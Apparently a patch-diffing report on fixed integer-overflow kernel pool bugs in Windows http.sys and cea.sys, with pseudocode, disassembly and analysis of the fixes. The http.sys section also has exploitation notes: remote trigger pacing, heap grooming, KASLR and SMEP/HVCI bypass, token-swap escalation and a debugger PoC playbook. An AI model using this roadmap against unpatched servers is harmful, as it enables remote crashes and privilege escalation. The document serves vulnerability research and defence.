The Drift Corpus: Ring 0

http.sys — Integer overflow in per-request array capacity (CWE-190) causing kernel pool overflow in UlpParseNextRequest fixed

2026-06-29T00:00:00-07:00

1. Overview

Item	Value
Unpatched binary	`http_unpatched.sys`
Patched binary	`http_patched.sys`
Overall similarity	0.9896
Matched functions	3205
Changed functions	6
Identical functions	3199
Unmatched (unpatched → patched)	0 / 0

Verdict: A tiny but critical patch that introduces a 16-bit overflow check around a per-connection HTTP request tracking array's capacity field, closing a remotely reachable kernel pool overflow in http.sys.

Of the 6 changed functions, only one (UlpParseNextRequest (sub_1c000e4a0) → UlpParseNextRequest (sub_1c000e550)) is security-relevant. The rest are the same functions relocated to new addresses (register/offset shifts) or heuristic mispairings, plus harmless configuration plumbing (a new MaxHeadersCount registry parameter). The actual fix is concentrated in the request-processing loop: the patched build calls the standard safe-integer library routine RtlUShortAdd (sub_1c001c6e4) to perform capacity + 5 with overflow detection, and this checked path is selected by the KIR feature flag UxKirRefBufferOverflowCheck (data_1c0078d80). When that flag is off, the patched build still runs the original unchecked add cx, 5 path, so the fix is a KIR-gated safe path rather than an unconditional replacement.

2. Vulnerability Summary

Critical — Integer Overflow (CWE-190) → Kernel Pool Buffer Overflow (CWE-122)

Affected function: UlpParseNextRequest (sub_1c000e4a0) (unpatched), UlpParseNextRequest (sub_1c000e550) (patched) — the HTTP request processing main loop.

Root cause: The function maintains, per connection, a dynamic array of HTTP request/range objects. The array tracks three small fields on the connection object:

+0x630 — WORD capacity
+0x632 — WORD count
+0x638 — PVOID buffer pointer (into NonPagedPoolNx)

Whenever count >= capacity, the code grows the array: it allocates a fresh pool buffer of size (capacity * 8) + 0x28, copies the old entries, frees the old buffer, and then writes the new capacity with a 16-bit addition of 5:

*(conn + 0x630) = capacity + 5;     // 16-bit add, no overflow check

capacity is a WORD. Once it reaches 0xFFFB..0xFFFF, adding 5 wraps to 0x0000..0x0004. On the next growth event, the allocation size is computed from that tiny wrapped capacity (e.g. 1*8 + 0x28 = 0x30 bytes), but the count keeps climbing from its previous value (~0xFFFC+). The very next entry write

mov qword [rax + rcx*8], rsi   ; rcx = count (large), rax = tiny buffer

then walks 8-byte pointers far past the end of the new pool allocation — a large, attacker-driven, kernel pool overflow.

Why exploitable: The index (count) and stride (8 bytes) are completely controlled by the attacker, who can pace the growth of the array simply by sending more HTTP requests/ranges on a long-lived connection. The buffer lives in NonPagedPoolNx, where adjacent allocations frequently contain other connection objects, headers, or pool metadata.

What the patch does: The patched loop calls the standard RTL safe-add library routine RtlUShortAdd (sub_1c001c6e4), which performs capacity + 5 in 32-bit arithmetic, compares the truncated 16-bit result back against the input, and detects the wrap with cmp ax, cx; jb. On wrap it clamps to 0xFFFF and returns STATUS_INTEGER_OVERFLOW (0xC0000095); the caller bails on a negative status, so an overflowed capacity never reaches ExAllocatePoolWithTagPriority. This checked path is selected at run time by the KIR feature flag UxKirRefBufferOverflowCheck (data_1c0078d80) (set from a WIL feature-staging query). When the flag is disabled, the patched build falls back to the original unchecked add cx, 5 path (0x1c000ea02), which is byte-for-byte the vulnerable code. The unpatched build has only that unchecked path and no call to RtlUShortAdd.

Attacker-reachable entry point: Any HTTP listener that goes through http.sys (IIS, HTTP API v2, WinRM, Print Spooler's HTTP API, etc.).

Call chain: 1. Remote client opens a TCP connection to a target HTTP endpoint. 2. TDI/WSK receive hands the bytes to http.sys. 3. http.sys IRP dispatch routes the request into the request-processing main loop. 4. Callers UlpAuthenticateRequestCompletion (sub_1c01176a0) → UlResumeParsing (sub_1c000a940) → UlpHandleRequest (sub_1c000e1a0) → UlBeginOpaqueMode (sub_1c002dc84) → UlpParseNextRequest (sub_1c000e4a0) (vulnerable loop). 5. Inside the loop, ExAllocatePoolWithTagPriority is called with the undersized wrapped capacity. 6. The next entry write at mov qword [rax+rcx*8], rsi (0x1c000e8d7) corrupts adjacent NonPagedPoolNx memory.

3. Pseudocode Diff

// === UNPATCHED: UlpParseNextRequest (sub_1c000e4a0) ===========================================
void process_request(conn_t *conn, request_t *req) {
    uint16_t count    = *(uint16_t *)(conn + 0x632);
    uint16_t capacity = *(uint16_t *)(conn + 0x630);

    if (count >= capacity) {
        size_t   new_size = (size_t)capacity * 8 + 0x28;   // uses CURRENT capacity
        void    *new_buf  = ExAllocatePoolWithTagPriority(..., new_size, ...);
        if (!new_buf) return;

        memcpy(new_buf, conn->buf, capacity * 8);
        ExFreePoolWithTag(conn->buf);
        conn->buf = new_buf;

        // *** BUG: 16-bit add with NO overflow check ***
        *(uint16_t *)(conn + 0x630) = capacity + 5;        // wraps past 0xFFFF!
    }

    // index by the *monotonically increasing* count
    conn->buf[count] = req;                                // OOB WRITE if capacity wrapped
    *(uint16_t *)(conn + 0x632) = count + 1;
}

// === PATCHED: UlpParseNextRequest (sub_1c000e550) =============================================
// RtlUShortAdd is a standard RTL safe-integer library routine, not a bespoke http.sys helper.
NTSTATUS RtlUShortAdd(uint16_t cur, uint16_t addend, uint16_t *out) {  // sub_1c001c6e4
    uint32_t sum = (uint32_t)cur + addend;                // 32-bit add
    if ((uint16_t)sum < cur) {                            // cmp ax,cx ; jb
        *out = 0xFFFF;                                    // clamp
        return STATUS_INTEGER_OVERFLOW;                   // 0xC0000095
    }
    *out = (uint16_t)sum;
    return STATUS_SUCCESS;
}

void process_request(conn_t *conn, request_t *req) {
    uint16_t count    = *(uint16_t *)(conn + 0x632);
    uint16_t capacity = *(uint16_t *)(conn + 0x630);

    if (count >= capacity) {
        if (UxKirRefBufferOverflowCheck) {                 // NEW KIR-gated safe path
            uint16_t new_cap;
            if (RtlUShortAdd(capacity, 5, &new_cap) < 0)   // NEW overflow-checked add
                goto fail_request;                         // NEW bail-out on wrap
            size_t new_size = (size_t)new_cap * 8;         // uses VALIDATED capacity
            void  *new_buf  = ExAllocatePoolWithTagPriority(..., new_size, ...);
            if (!new_buf) goto fail_request;
            memcpy(new_buf, conn->buf, count * 8);
            if (capacity > 1) ExFreePoolWithTag(conn->buf);
            *(uint16_t *)(conn + 0x630) = new_cap;         // safe, validated
            conn->buf = new_buf;
        } else {                                           // KIR flag off: original unchecked path
            size_t new_size = (size_t)capacity * 8 + 0x28;
            void  *new_buf  = ExAllocatePoolWithTagPriority(..., new_size, ...);
            if (new_buf) {
                memcpy(new_buf, conn->buf, count * 8);
                if (capacity > 1) ExFreePoolWithTag(conn->buf);
                *(uint16_t *)(conn + 0x630) = capacity + 5;  // still wraps 16-bit!
                conn->buf = new_buf;
            }
        }
    }

    conn->buf[count] = req;
    *(uint16_t *)(conn + 0x632) = count + 1;
}

Key takeaways: - The dangerous line in the unpatched version is the unguarded capacity + 5. - The checked path never trusts the addition result until RtlUShortAdd (sub_1c001c6e4) returns success, and it uses the validated value for allocation size, stored capacity, and entry write. - The patched build keeps the original unchecked add cx, 5 path as the fallback taken when UxKirRefBufferOverflowCheck (data_1c0078d80) is disabled, so the fix depends on that KIR flag being enabled.

4. Assembly Analysis

UNPATCHED — vulnerable allocation block

; --- read the two 16-bit fields ---
0x1c000e82f | movzx   eax, word [rdi+0x632]      ; eax = count
0x1c000e836 | movzx   ecx, word [rdi+0x630]      ; ecx = capacity
0x1c000e83d | cmp     ax, cx
0x1c000e840 | jb      0x1c000e8cd                 ; if count < capacity, skip growth
                                                  ; (this is the ONLY size check)

; --- compute new allocation size using CURRENT capacity ---
0x1c000e846 | lea     rdx, [rcx*8 + 0x28]         ; rdx = capacity*8 + 0x28   <-- trusted blindly
0x1c000e85c | call    qword [rel 0x1c0086c50]     ; ExAllocatePoolWithTagPriority
0x1c000e86b | test    rax, rax
0x1c000e86e | je      0x1c000e8e9                 ; alloc failed -> bail

; --- (copy old data via memmove, free old buffer) ---
; ... (omitted for clarity) ...

; --- BUG: capacity update is a 16-bit add with no overflow detection ---
0x1c000e8ad | movzx   ecx, word [rdi+0x630]       ; reload capacity
0x1c000e8bb | add     cx, 5                        ; 16-bit add; wraps if cx >= 0xFFFB
0x1c000e8bf | mov     [rdi+0x630], cx              ; store wrapped capacity, no check

; --- entry write: count is the index, capacity is no longer related ---
0x1c000e8cd | movzx   ecx, ax                     ; ecx = count (was set above, still large)
0x1c000e8d0 | mov     rax, qword [rdi+0x638]      ; rax = current buffer pointer
0x1c000e8d7 | mov     qword [rax+rcx*8], rsi      ; *** OOB WRITE ***
                                                  ; rsi = entry pointer, rcx*8 = index
0x1c000e8db | inc     word [rdi+0x632]            ; count++

Annotations: - 0x1c000e83d–0x1c000e840: only comparison in the path. It tells the function whether to grow; it does not validate the growth arithmetic. - 0x1c000e846: lea rdx, [rcx*8 + 0x28] trusts the wrapped capacity. - 0x1c000e8d7: the corrupting write. Once capacity has wrapped and a fresh small allocation has been made, rcx (count) is on the order of 0xFFFC, so rcx*8 ≈ 0x7FFE0 bytes past the new buffer.

PATCHED — the safe path and the RTL safe-add routine `RtlUShortAdd (sub_1c001c6e4)`

In UlpParseNextRequest, the grow decision is followed by a KIR-flag test that selects the checked path:

0x1c000e8ec | movzx   ecx, word [rdi+0x630]       ; capacity (usAugend)
0x1c000e8f3 | cmp     [rdi+0x632], cx             ; count < capacity?  -> skip grow
0x1c000e8fa | jb      0x1c000ea14
0x1c000e900 | cmp     UxKirRefBufferOverflowCheck, r14b  ; KIR flag == 1 ?
0x1c000e907 | jz      0x1c000e994                 ; flag off -> OLD unchecked path
0x1c000e90d | lea     r8, [rbp+pusResult]         ; checked path
0x1c000e911 | call    RtlUShortAdd
0x1c000e916 | test    eax, eax
0x1c000e918 | js      0x1c000ea36                 ; overflow -> bail
0x1c000e91e | movzx   r15d, [rbp+pusResult]       ; validated new capacity
0x1c000e926 | mov     edx, r15d
0x1c000e92e | shl     rdx, 3                       ; NumberOfBytes = new_cap*8
0x1c000e938 | call    ExAllocatePoolWithTagPriority
...
0x1c000e98a | mov     [rdi+0x630], r15w            ; store validated capacity

The RTL safe-add routine itself:

0x1c001c6e4 | lea     eax, [rcx+0x5]              ; 32-bit: capacity + 5
0x1c001c6e7 | cmp     ax, cx                      ; did the low 16 bits go backwards?
0x1c001c6ea | jb      0x1c001c6f1                 ; yes -> overflow path
0x1c001c6ec | movzx   edx, ax                     ; no  -> use safe value
0x1c001c6ef | jmp     0x1c001c6f6
0x1c001c6f1 | mov     edx, 0xffff                 ; clamp path: edx = 0xFFFF
0x1c001c6f6 | sbb     eax, eax                    ; eax = 0xFFFFFFFF if CF (overflow)
0x1c001c6f8 | mov     word [r8], dx               ; store validated capacity
0x1c001c6fc | and     eax, 0xc0000095             ; mask in STATUS_INTEGER_OVERFLOW
0x1c001c701 | retn

Annotations: - lea eax, [rcx+5] performs the add in 32 bits, so wrap is detectable. - cmp ax, cx; jb is the classic "smaller after add" overflow test for unsigned 16-bit. - sbb eax, eax turns CF into 0/-1, then and produces either 0 (success) or 0xC0000095 (overflow). - The caller gates the allocation on a non-negative return value, so the bad size is never passed to ExAllocatePoolWithTagPriority. - The fallback at 0x1c000e994 (taken when UxKirRefBufferOverflowCheck is off) is the original code: lea rdx, [rcx*8+0x28] allocation, then add cx, 5 / mov [rdi+0x630], cx at 0x1c000ea02 with no overflow check.

5. Trigger Conditions

To reach and fire the bug on the unpatched driver:

Reach the target. Identify any HTTP service on the host backed by http.sys (default port 80, 443, 5985/WinRM, 41792/Print HTTP, or any http.sys URL reservation). Open a single persistent TCP connection.
Drive the array to grow. Each request (or, in some paths, each Range or chunked segment) adds an entry. The array starts small and grows by 5 capacity slots per fill.
Reach the wrap threshold. Capacity must climb from its initial value to ~0xFFFB. With growth of 5 slots per fill, this requires on the order of ~13,107 grow events, i.e. roughly 0xFFFB total request/range entries sent on the same connection.
Cross the boundary. Once the post-add value wraps (capacity+5 overflows past 0xFFFF), the next request that triggers growth will allocate a buffer sized by the wrapped value (~0x30 bytes typical) while count is still ~0xFFFC.
Write past the end. Any single additional request causes mov qword [rax+rcx*8], rsi to write 8 bytes at offset count*8 from the start of the new tiny allocation — well outside the buffer.
Observable effect. Expect a kernel-mode bugcheck once the corrupted pool is next examined. Likely stop codes:
KERNEL_DATA_INPAGE_ERROR (0x7A) or
PAGE_FAULT_IN_NONPAGED_AREA (0x50) — faulting virtual address in the high 0xFFFF_FFFF_xxxx_xxxx range derived from count*8 against an undersized NonPagedPool region, or
BAD_POOL_HEADER (0x19) / POOL_CORRUPTION if pool metadata adjacent to the small allocation is what gets clobbered.

Notes on pacing: - Use HTTP pipelining or chunked POST to push many entries on a single connection without round-trips; this minimizes wall-clock time to reach 65k entries. - HTTP Range requests are especially attractive if the per-segment path feeds into the same array (Range: bytes=0-1,2-3,4-5,... produces many entries per request). - Some endpoints rate-limit; spreading the attack across multiple sockets to the same http.sys instance does not help, because the array is per-connection.

6. Exploit Primitive & Development Notes

Primitive: Controlled kernel pool overflow with a fixed 8-byte stride. The attacker: - chooses count (and therefore the offset count*8 from the buffer start), - supplies the 8-byte pointer value being written (the request/range object pointer, which the attacker indirectly controls via earlier content),

allowing disciplined writes past the undersized NonPagedPoolNx allocation.

Turning it into a full exploit:

Heap grooming. Reclaim the slot adjacent to the undersized allocation with a controllable victim object. Good candidates in NonPagedPoolNx include:
HAL PRCB-adjacent structures (avoid),
Token/Process objects (size mismatched — usually no),
Pipe instances, Event objects, Semaphore objects, or other connection-scoped structures (yes).
Best targets are objects with a function pointer in the first 8 bytes after the pool header.
Forge the corruption. Overflow into the victim object's vtable/function-pointer/LIST_ENTRY, replacing it with a pointer to attacker-controlled data.
Defeat KASLR. http.sys leaks no kernel pointers by default. Either:
Use an info-leak primitive in another driver (e.g., Win32k, gdi) to obtain the kernel base, or
Spray NonPagedPoolNx with objects whose address can be inferred via deterministic allocation patterns.
Code execution. Once a controlled function pointer is hit, redirect to a ROP/JOP chain located in nt!Ke* gadgets, or — if SMEP/SMAP allow data-only attacks — corrupt a _TOKEN pointer for privilege escalation without ever executing userland shellcode.

Mitigations to consider: - kASLR: must be defeated for code-execution flows; the data-only token-swap variant sidesteps it. - SMEP / SMAP: blocks ret-into-userland flows; the kernel-ROP variant bypasses them. - CFG (kernel CFG, CET): constrains indirect call targets. Pick corruption targets outside CFG-protected call sites (e.g., LIST_ENTRY unlinking for arbitrary-write primitives, I/O completion callbacks). - HVCI / VBS: turns many ROP/JOP chains into hypervisor faults. Data-only token swaps remain viable. - Pool header integrity (Win10+): randomizes and validates POOL_HEADER; pure metadata corruption is harder. Prefer corrupting object fields, not pool headers.

Realistic outcome: high-impact LPE to SYSTEM from a low-privileged local context, and remote kernel crash / remote LPE when combined with a separate info leak.

7. Debugger PoC Playbook

Assume WinDbg/KD attached to the unpatched http.sys with symbols resolved via the local PDB or via the offsets below.

Breakpoints

bp http_unpatched+0xE4A0          ; entry of UlpParseNextRequest (sub_1c000e4a0) — confirms request reached the loop
bp http_unpatched+0xE82F          ; capacity/count read — observe the 16-bit fields live
bp http_unpatched+0xE846          ; size computation: lea rdx,[rcx*8+0x28]
bp http_unpatched+0xE85C          ; ExAllocatePoolWithTagPriority call — inspect rdx (size)
bp http_unpatched+0xE8CD          ; index prep — observe ecx (=count) right before OOB write
bp http_unpatched+0xE8D7          ; *** the OOB write itself ***
bp nt!ExAllocatePoolWithTagPriority

If http.sys is loaded at a base other than 0x1c0000000, substitute the equivalent RVAs: +0x1A0, +0x82F, +0x846, +0x85C, +0x8CD, +0x8D7 from the driver base.

What to inspect at each breakpoint

At +0xE82F: rdi = connection object. Dump fields: text dp rdi+0x630 L1 ; bits [0..15] = capacity, bits [16..31] = count dq rdi+0x638 L1 ; current buffer pointer Confirm count is climbing and capacity is stepping by 5.
At +0xE846: rcx = capacity at the time of growth. rdx = (capacity*8)+0x28. Watch for the wrap: when rcx ≥ 0xFFFB, the next hit of this breakpoint will have rdx near 0x30 (tiny) — that is the smoking-gun allocation.
At +0xE85C: rdx is the requested size. Confirm it is implausibly small relative to the previous allocation.
At +0xE8D7:
rax = new (tiny) buffer pointer.
ecx = count — this is the multiplier.
Compute the target virtual address in WinDbg: ? rax + rcx*8. Anything more than a few hundred bytes past rax confirms OOB.
Set a watchpoint on the byte being written: ba w8 <addr>.

Trigger setup (from user mode)

Open one persistent TCP socket to the target HTTP port.
Build an HTTP request that creates many array entries. Easiest path with http.sys: http POST / HTTP/1.1 Host: <target> Transfer-Encoding: chunked Range: bytes=0-1,2-3,4-5,6-7,8-9,...

Each comma-separated range creates one entry. Alternatively, pipeline many requests on the same socket without waiting for responses. 3. Loop until ~65,535 entries have been added. The function at +0xE4A0 should be hit on each request; the capacity field at [rdi+0x630] should climb in steps of 5 until it wraps. 4. Once the wrap happens, send one more request to fire the OOB write at +0xE8D7.

Expected observation

Right before the bugcheck, the ba w8 watchpoint on the corrupted address fires, with rsi (request pointer) as the written value.
The bugcheck should occur shortly after, with a faulting instruction either in nt!ExpPool... routines, in nt!KiPageFault, or inside an adjacent corrupted object's method.
Stop codes most likely: 0x50 PAGE_FAULT_IN_NONPAGED_AREA, 0x19 BAD_POOL_HEADER, or 0xC2 BAD_POOL_CALLER.
Inspect the faulting address: it will be of the form tiny_buffer + count*8, far past the actual allocation.

Struct / offset notes

Connection object layout (relevant fields):
  +0x630  WORD   capacity              ; 16-bit, +5 on grow
  +0x632  WORD   count                 ; 16-bit, +1 per entry
  +0x634  ?      (padding)
  +0x638  PVOID  buffer                ; NonPagedPoolNx array of pointers
  each entry: 8 bytes (pointer to request/range object)

RTL safe-add routine (emitted only in patched build):
  RtlUShortAdd (sub_1c001c6e4) (cx=cur_capacity, dx=addend(5), r8=&out_new_capacity)
  returns: 0 on success, 0xC0000095 on overflow

8. Changed Functions — Full Triage

UlpParseNextRequest (sub_1c000e4a0) → UlpParseNextRequest (sub_1c000e550) (similarity 0.9142, security-relevant): The vulnerable request-processing loop. The patched build adds a KIR-gated safe grow path: a cmp UxKirRefBufferOverflowCheck (data_1c0078d80) test selects between a checked path that calls the RTL safe-add routine RtlUShortAdd (sub_1c001c6e4) (bails with STATUS_INTEGER_OVERFLOW on wrap and allocates from the validated capacity) and the original unchecked add cx, 5 path preserved for KIR rollback. UlpCheckTrailerLength is unchanged in behavior; it is a separate function that merely moved from sub_1c001b7b4 to sub_1c001c70c and is not invoked by the grow logic.
UxDuoProcessCompleteCatalog (sub_1c00b77c0) → UxDuoProcessCompleteCatalog (sub_1c00b8950) (similarity 0.9663, behavioral): HTTP request body/chunk processing state machine. Changes are register renaming and offset shifts from 0x1c0076xxx to 0x1c0077xxx (data-section relocation) plus minor control-flow restructuring. No security impact.
UxReadHttp11ParserSettings (sub_1c00d8940) → UxReadHttp11ParserSettings (sub_1c00d9b80) (similarity 0.911, behavioral): Configuration initialization. Reads registry parameters (MaxRequestBytes, MaxFieldLength, …) and adds a new MaxHeadersCount parameter with feature-flag UxKirMaxHeadersCountLimit (data_1c0078d81). Not directly security-relevant, but it gives an interesting attenuation knob: if MaxHeadersCount defaults to 0x32 with a max of 0xFFFF, an attacker pushing the array past the configured cap may trigger an earlier rejection on patched builds. Worth noting for trigger development on patched systems.
UxStartEnvironmentModule (sub_1c015e480) ↔ wil_details_FeatureReporting_ReportUsageToServiceDirect (sub_1c001bce0) (similarity 0.2783, cosmetic/heuristic): Algorithmic mismatch — paired by call-sequence heuristics, not a true diff. Treat as independent functions.
UlpCheckTrailerLength (sub_1c001b7b4) ↔ WPP_SF_qddd (sub_1c0097654) (similarity 0.1667, heuristic mispairing): Two unrelated functions paired by call-reference matching. UlpCheckTrailerLength itself is the same function relocated to sub_1c001c70c in the patched build; WPP_SF_qddd is a WPP/ETW tracing wrapper (sub_1c0096654 → sub_1c0097654). Not a semantic diff.
WPP_SF_qddd (sub_1c0096654) ↔ RtlUShortAdd (sub_1c001c6e4) (similarity 0.0082, heuristic mispairing): Unpatched-side WPP_SF_qddd is a WPP/ETW tracing wrapper; patched-side RtlUShortAdd is the standard RTL safe-add library routine that the fixed loop calls. They are different functions paired erroneously. RtlUShortAdd's role in the fix is covered under the UlpParseNextRequest (sub_1c000e4a0) finding.

Collapsed note on non-security changes: the only meaningful diffs across all six functions are (a) the KIR-gated overflow-checked grow path added to UlpParseNextRequest (sub_1c000e4a0), which calls the RTL library routine RtlUShortAdd (sub_1c001c6e4), and (b) the new MaxHeadersCount registry parameter in UxReadHttp11ParserSettings. Everything else is data-section relocation, register allocation, or diff-tool mispairing.

9. Unmatched Functions

None. Both removed and added lists are empty. The fix was implemented in the patched request-processing loop, plus the RTL safe-add routine RtlUShortAdd (sub_1c001c6e4) which is emitted only in the patched build and was paired to an unrelated unpatched function by call-reference heuristics rather than listed as added.

Implication: there is no removed sanitizer and no removed check. The patch is additive: a new overflow-checked grow path guarded by the KIR flag UxKirRefBufferOverflowCheck (data_1c0078d80). The unpatched binary has no overflow check on this capacity + 5 add. Note that the patched binary still contains the original unchecked path, reachable when the KIR flag is disabled.

10. Confidence & Caveats

Confidence: high.

Rationale: - The vulnerable arithmetic is unambiguous in disassembly: a 16-bit add followed immediately by a 32-bit-safe allocation size computation, with no intervening comparison. - The patch introduces a textbook overflow-detection idiom (lea; cmp; jb) that exactly targets this add. - The OOB write at mov qword [rax+rcx*8], rsi uses the same register that just tracked count, making the data flow self-evident.

Assumptions made: - That the per-connection array can in fact reach ~65,535 entries on a real system. The patch ships a default MaxHeadersCount of 0x32 and a max of 0xFFFF, which suggests Microsoft believes the array can legitimately grow to 0xFFFF in some configurations. The exact attacker-controlled input that drives growth (Range headers vs. pipelined requests vs. chunked segments) was inferred from context; verify by tracing which caller increments the count field in your lab. - That the array lives in NonPagedPoolNx. This is consistent with the ExAllocatePoolWithTagPriority call and the lack of IRQL checks elsewhere in the function, but confirm via pool tagging (!pool, !poolfind) at runtime. - That the caller chain UlpAuthenticateRequestCompletion (sub_1c01176a0) → UlResumeParsing (sub_1c000a940) → UlpHandleRequest (sub_1c000e1a0) → UlBeginOpaqueMode (sub_1c002dc84) → UlpParseNextRequest (sub_1c000e4a0) is reachable from remote HTTP traffic. The chain is taken from cross-references; verify each step with breakpoints in a live debugger before claiming remote reachability for certain.

What a researcher should verify before writing a PoC: 1. Confirm the connection object layout by dumping [rdi+0x630], [rdi+0x632], [rdi+0x638] on a fresh connection and correlating with request count. 2. Identify the exact request shape that adds one entry per request — test Range, chunked, and pipelined variants. 3. Measure real-world throughput to 65k entries; expect that some intermediaries (proxies, TLS terminators) limit range/pipeline depth and may force the use of many independent keep-alive requests. 4. Confirm pool location and neighbor objects: capture a pool walk immediately after the undersized allocation to identify the realistic victim object for exploitation. 5. Validate bugcheck conditions and pool-corruption patterns in a VM with Driver Verifier enabled (to catch the overflow earlier and more cleanly).

cea.sys — Integer overflow (CWE-190) leading to kernel pool buffer overflow (CWE-122) in EaSignalAggregatedEvent fixed

2026-06-28T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`cea_unpatched.sys`
Patched binary	`cea_patched.sys`
Overall similarity	0.90
Matched functions	146
Changed functions	84
Identical functions	62
Unmatched (either direction)	0 / 0

Verdict: The patch closes a critical integer-overflow → kernel-pool-buffer-overflow in EaSignalAggregatedEvent by adding an explicit wrap-around check (new helper EapSignalContentPrepareEventForPublishing (sub_140008b90)), and broadly hardens the driver by migrating every ExAllocatePoolWithTag call to ExAllocatePool2.

2. Vulnerability Summary

Finding 1 — Critical: Integer Overflow (CWE-190) → Kernel Pool Buffer Overflow (CWE-122)

Attribute	Value
Severity	Critical
Class	Integer overflow → heap/pool overflow
Function	`EaSignalAggregatedEvent` (`cea_unpatched!EaSignalAggregatedEvent`, `0x1c00034b0`)
Primitive	Controllable, large kernel pool overflow (write size up to ~4 GB past allocation end)

Root cause. EaSignalAggregatedEvent computes the pool allocation size as a 32-bit sum of three components:

total_size = (arg5 ? 0x10 : 0) + arg8 + (arg6 ? 0x10 : 0)

arg8 is the caller-supplied variable-length data size. It is loaded as a 32-bit value at 0x1c0003545 (mov r15d, dword ptr [rbp+3Fh+Size]), so both the size arithmetic and the eventual copy length are 32-bit-bounded (maximum ~4 GB). The sum is performed with lea eax,[r15+rcx] followed by add ebx,eax — both 32-bit ops, with no overflow check. The only guard is a je that fires only if the sum wraps exactly to zero, missing the general overflow case.

If arg8 = 0xFFFFFFF0 and both arg5/arg6 are non-NULL, the wrap is:

0xFFFFFFF0 + 0x10 + 0x10 = 0x100000010 → 0x00000010 (32-bit truncated)

The driver then calls ExAllocatePoolWithTag(PagedPool, 0x10, 'EtvA') — allocating only 16 bytes — but proceeds to copy:

16 bytes from arg5 (fills the allocation exactly),
16 bytes from arg6 (first 16 bytes of overflow),
arg8 bytes (≈ 4 GB) from arg7 via memmove (sub_1c0008d80).

The result is a catastrophic kernel pool overflow, controllable in both size and (partially) content.

Fix. The patched driver inserts a new helper, EapSignalContentPrepareEventForPublishing (sub_140008b90), that performs an explicit wrap detection:

lea  eax, [rdi+r8]    ; base + var_data
cmp  eax, edi         ; result < base  ⇒ wrapped
jb   overflow_error   ; return STATUS_INTEGER_OVERFLOW (0xC0000095)

and adds an explicit buffer-too-small validation returning STATUS_BUFFER_TOO_SMALL (0xC0000023). All pool allocations also migrate from ExAllocatePoolWithTag to ExAllocatePool2(POOL_FLAG_NON_PAGED, ...).

Reachability. EaSignalAggregatedEvent (0x1c00034b0) is an exported function with no internal callers in the driver; the vulnerable size computation and the 'EtvA' allocation exist only inside it. It is therefore reached through its export: a caller supplies arg1 (aggregation context), arg2 (event-ID pair), arg5/arg6 (optional 16-byte blocks), arg7 (variable data pointer) and arg8 (variable data size). The size arithmetic operates directly on the caller-supplied arg8.

The WNF notification path does not reach this computation. WnfEventCallback (sub_1c00018c8) parses the WNF state buffer and calls EaiProcessNotification (sub_1c0001bc4) directly; EaiProcessNotification is a callee of EaSignalAggregatedEvent (invoked at 0x1c0003670 after the allocation), not a route back into the vulnerable code. The exact RPC opnum that dispatches into EaSignalAggregatedEvent from user mode is not determinable from these binaries.

Finding 2 — No security-relevant change: WNF State Data Parsing Refactored

Attribute	Value
Severity	None (refactor)
Class	Validation logic extracted into a shared helper; no bounds check added or removed
Function	`WnfEventCallback (sub_1C00018C8)` (similarity 0.5941 vs patched)

The unpatched WnfEventCallback (sub_1C00018C8) parses a packed bitfield structure from a WNF state buffer and already validates its bounds inline: it rejects buffers smaller than 8 bytes (cmp r9d, 8; jnb at 0x1c00019b9) and buffers smaller than count + 8 (cmp r9, rcx; jnb at 0x1c0001a41, with rcx = ((*buf >> 2) & 0xFFF) + 8). The patched version moves this same bitfield parsing and the same checks into a new helper EapSignalMessageReadFromBuffer (sub_140008a98), which enforces the equivalent conditions (size >= 8 at 0x140008aab returning STATUS_BUFFER_TOO_SMALL; size >= count + 8 at 0x140008ada returning 0xc000090b; and a trailing per-field size check returning STATUS_DATA_ERROR / 0xc000003e).

This is a refactor: no bounds check is added that was absent before, and none is removed. The WNF path does not reach the EaSignalAggregatedEvent size computation of Finding 1 — WnfEventCallback calls EaiProcessNotification (sub_1c0001bc4) directly, and does not invoke the overflow-checked builder EapSignalContentPrepareEventForPublishing (sub_140008b90). There is no security-relevant change on this path.

3. Pseudocode Diff

`EaSignalAggregatedEvent` — vulnerable size computation

// ============== UNPATCHED (0x1c00034b0) ==============
// arg5, arg6: pointers to 16-byte event-data blocks (optional)
// arg7      : pointer to variable-length data
// arg8      : variable-length data SIZE (32-bit, attacker-controlled)

int32_t arg6_contrib = (arg6 != NULL) ? 0x10 : 0;
int32_t arg5_contrib = (arg5 != NULL) ? 0x10 : 0;

// *** VULNERABLE: 32-bit addition with NO overflow check ***
int32_t total_size = arg6_contrib + (arg8 + arg5_contrib);   // can wrap

if (total_size == 0)              // *** only checks for *exact* zero wrap ***
    goto use_existing_buffer;     // (different buggy path)

// Allocation uses the (possibly wrapped) small size:
P = ExAllocatePoolWithTag(PagedPool, (uint32_t)total_size, 'EtvA');   // tiny alloc!

if (P) {
    if (arg5) { *(__m128*)P = *(__m128*)arg5; r12 = 2; ptr = P + 0x10; }   // 16-byte write
    if (arg6) { *(__m128*)ptr = *(__m128*)arg6; r12 |= 1; ptr += 0x10; }   // 16-byte write
    memmove (sub_1c0008d80)(ptr, arg7_data, arg8);     // *** copies arg8 (~4GB) bytes ***
}

// ============== PATCHED (via EapSignalContentPrepareEventForPublishing (sub_140008b90)) ==============
int32_t sum = base_size + var_data_size;     // lea eax,[rdi+r8]
if ((uint32_t)sum < (uint32_t)base_size)     // cmp eax,edi ; jb overflow
    return STATUS_INTEGER_OVERFLOW;          // 0xC0000095  *** ADDED CHECK ***

if (*arg4_provided_size >= (uint32_t)sum)    // cmp dword [r9],edi ; jae ok
    // proceed with memset + structured copy
else {
    *arg4_needed_size = sum;                 // output required size
    return STATUS_BUFFER_TOO_SMALL;          // 0xC0000023
}

`WnfEventCallback (sub_1C00018C8)` — WNF parsing path

// ============== UNPATCHED ==============
// Inline parsing of packed bitfields from WNF buffer.
// Extracts count (bits 2-13), type flag (bit 0), state flag (bit 1).
// Bounds checks ARE present inline:
//   - size >= 8            (cmp r9d,8; jnb  at 0x1c00019b9)
//   - size >= count + 8    (cmp r9,rcx; jnb at 0x1c0001a41)
// then calls EaiProcessNotification (sub_1c0001bc4) directly.

// ============== PATCHED ==============
status = EapSignalMessageReadFromBuffer (sub_140008a98)(wnf_buffer);  // same parsing + same checks, extracted
//   - size >= 8            (cmp edx,8;  jnb at 0x140008aab)
//   - size >= count + 8    (cmp rax,rcx; jnb at 0x140008ada)
// then calls EaiProcessNotification (sub_1c0001bc4) directly (unchanged path).
// Refactor only: no bounds check added or removed.

4. Assembly Analysis

`EaSignalAggregatedEvent` — full unpatched vulnerable path

; -------- Prologue / arg setup --------
0x1c00034b0 : push    rbp
0x1c00034b2 : push    rbx
0x1c00034b3 : push    rsi
0x1c00034b4 : push    rdi
0x1c00034b5 : push    r12
0x1c00034b7 : push    r13
